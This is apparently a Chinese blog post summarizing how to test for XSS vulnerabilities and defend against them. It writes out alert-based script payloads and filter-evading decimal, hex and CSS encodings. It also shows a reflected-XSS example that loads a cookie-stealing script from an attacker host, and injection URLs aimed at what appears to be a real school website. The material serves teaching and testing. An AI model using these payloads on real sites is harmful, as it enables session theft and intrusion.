安全测试学习之XSS漏洞测试

        最近的工作中,需要用到安全测试方面的XSS漏洞测试,可以真正到自己做的时候,才发现自己只是了解一个大概,根本不知道如何去进行,最后在测试组长的帮助下才算勉强完成了任务。唉,不学习的结果,就是逆水行舟,不进则退,菜鸟依旧是菜鸟。虽然现在做的手工测试不是很有技术含量,但是还是做一个总结吧。


一、什么是XSS漏洞?

        XSS,又叫做CSS,英文名Cross Site Script,中文全称是“跨站脚本攻击”,为了和CSS层叠样式表区分所以取名XSS。是一种网站应用程序的安全漏洞攻击,是代码注入的一种。具体内容是指恶意攻击者向WEB页面里插入恶意HTML/脚本代码,当用户浏览该网页时,嵌入其中的恶意HTML/脚本代码会被执行,从而达到恶意用户的特殊目的。攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容,甚至其他用户在观看网页时就会受到影响。


二、XSS漏洞有那些危害?

        1.获取用户的Cookie。

        2.修改页面信息。

        3.浏览器劫持。

        4.其他。


三、XSS漏洞是如何产生的?

1.通过标记的属性触发XSS。

        我们平常浏览的网页一般都是基于HTML语言创建的,如显示一个超链接<A HREF=“http://xxx.xxx.com”>XSSTest</A>。而XSS的原理也就是往HTML中注入脚本,HTML指定了脚本标记<></>,在没有过滤字符的情况下,只需要保持完整无错的脚本标记<></>即可触发XSS。

        假如在某个资料表单提交内容,表单提交的内容就是某个标记属性所赋的值,可以构造如下值来闭和标记来构造完整无错的脚本标记:

        "><script>alert('XSS')</script><“

        于是形成了:

        <A HREF=""><script>alert('XSS')</script><"http://xxx.xxx.com">XSSTest</A>

        测试闭和表单赋值所在的标记,形成完整无错的脚本标记可触发XSS,但是没有脚本标记怎么触发XSS呢?我们只好利用其他标记了,假如要在网页里显示一张图片,那么就要使用一个<img>标记,示例如下:

        <img src=“D:/UploadFile/2009/6/23/20090623091204781.gif">

         img标记并不是真正地把图片给加入到Html文档把两者合二为一,而是通过src属性赋值。那么浏览器的任务就是解释这个img标记,访问src属性所赋的值中的URL地址并输出图片。于是乎可以得到:

        <img src="javascript:alert('xss');"> 

       

2.通过标记的事件触发的XSS。

        当然并不是所有标记的属性都能用,标记的属性也只有在访问文件时才触发XSS。除了标记的属性,还有事件能帮助我们触发XSS,只有达到某个条件才会引发事件。正巧img标记有一个可以利用的onerror()事件,当img标记内含有一个onerror()事件而正好图片没有正常输出便会触发这个事件,而事件中可以加入任意的脚本代码,其中的代码也会执行。现在我们又得到了另外一个经典的XSS示例:

        <img src="http://xss.jpg" οnerrοr=alert('xss')>


3.来自外部的XSS攻击。
         主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站脚本如收集cookie的JS上传到这个站点A上,通过目标服务器B的漏洞(如http://www.b.com?content=<script src=”www.a.com?hack.js”></script>)通过再结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开这个URL使JS执行发送cookie到A上。这种称之为反射型XSS。它的危害不及存储型XSS,因为只对当前页面访问产生影响,是一次性的。

四、如何测试XSS漏洞?

1.有输入框的页面测试。

(1).输入特殊字符 “ 、‘ 、> 、< 查看源代码(对非富文本非常有效)
(2).为了更直观判断加入 <script>alert(‘123’)</script>
(3).与其他标记结合如:
       <img src="javascript:alert(/XSS/)">
       <table background="javascript:alert(/XSS/)"></table>

2.用户的请求链接中的数据测试。

(1).可以通过QueryString(放在URL中)和Cookie发送给服务器。

例如:在地址栏中输入:http://jwgl.sdxlxy.com/E_Board_News.asp?ID=<script>alert(document.cookie)</script>

(2).http://jwgl.sdxlxy.com/E_Board_News.asp?ID=45,在链接中?后面的ID=45,表示参数45代表他的值,把参数45替换掉或在45后面加上script脚本,如下:

        http://jwgl.sdxlxy.com/E_Board_News.asp?ID=45<script>alert('xss')</script>

(3).当有多个参数的时候用&符号隔开如:http://jwgl.sdxlxy.com/E_BigClass.asp?E_typeid=23&E_BigClassID=39
每一个参数我们都可以当成是一个输入框进行测试:http://jwgl.sdxlxy.com/E_BigClass.asp?E_typeid=23<script>alert('xss')</script>&E_BigClassID=39
或:http://jwgl.sdxlxy.com/E_BigClass.asp?E_typeid=23&E_BigClassID=39<script>alert('xss')</script>


五、如何防范XSS漏洞?

        有攻就有防,网站程序员肯定不会放任大家利用XSS,所以他们常会过滤类似java的关键字符,让大家构造不了自己的XSS。

        我们的IE浏览器默认采用的是UNICODE编码,HTML编码可以用&#ASCII方式来写,这种XSS转码支持10进制和16进制,如下:

Xss 10进制转码:
<img src="&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#39&#88&#83&#83&#39&#41&#59">

Xss 16进制转码:
<img src="&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3a&#x61&#x6c&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29&#x3b">

恐怖的是样式表也支持分析和解释“\"连接的16进制字符串形式,浏览器能正常解释。下面我们来做个实验,写一个指定某图片为网页背景的CSS标记:

        <img STYLE="background-image: url(javascript:alert('XSS'))">

Xss  16进制 转码:

        <img STYLE="background-image: \75\72\6c\28\6a\61\76\61\73\63\72\69\70\74\3a\61\6c\65\72\74\28\27\58\53\53\27\29\29"> 

(1).输入校验:对用户的所有输入数据进行检测,比如过滤其中的“<”、“>”、“/”、双引号等可能导致脚本注入的特殊字符,或者过滤“script”、 “javascript”等脚本关键字,或者对输入数据的长度及格式进行限制等等。同时,我们也要考虑用户可能绕开ASCII码,使用十六进制编码如 “<</span>”(“<”)、“>”(“>”)等来输入脚本。因此,对用户输入的十六进制编码,我们也要进行相应的过滤。只要开发人员能够严格检测每一处交互点,保证对所有用户可能的输入都进行检测和XSS过滤,就能够有效地阻止XSS攻击。

(2).通过前面对XSS攻击的分析,我们可以看到,之所以会产生XSS攻击,就是因为Web应用程序将用户的输入直接嵌入到某个页面当中,作为该页面的HTML代 码的一部分。因此,当Web应用程序将用户的输入数据输出到目标页面中时,只要先对这些数据进行编码,然后再输出到目标页面中。这样,如果用户输入一些HTML的脚本,也会被当成普通的文字,而不会成为目标页面HTML代码的一部分得到执行。

(3).严防外部的Javascript:外部的Javascript一旦引入了,这些脚本就能够操纵你的HTML页面,窃取敏感信息或者发起钓鱼攻击等等。


注:以上内容有参考微信号zzzmmmkkk中的内容,有兴趣的可以加关注,作者是一位测试专家哦。






  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值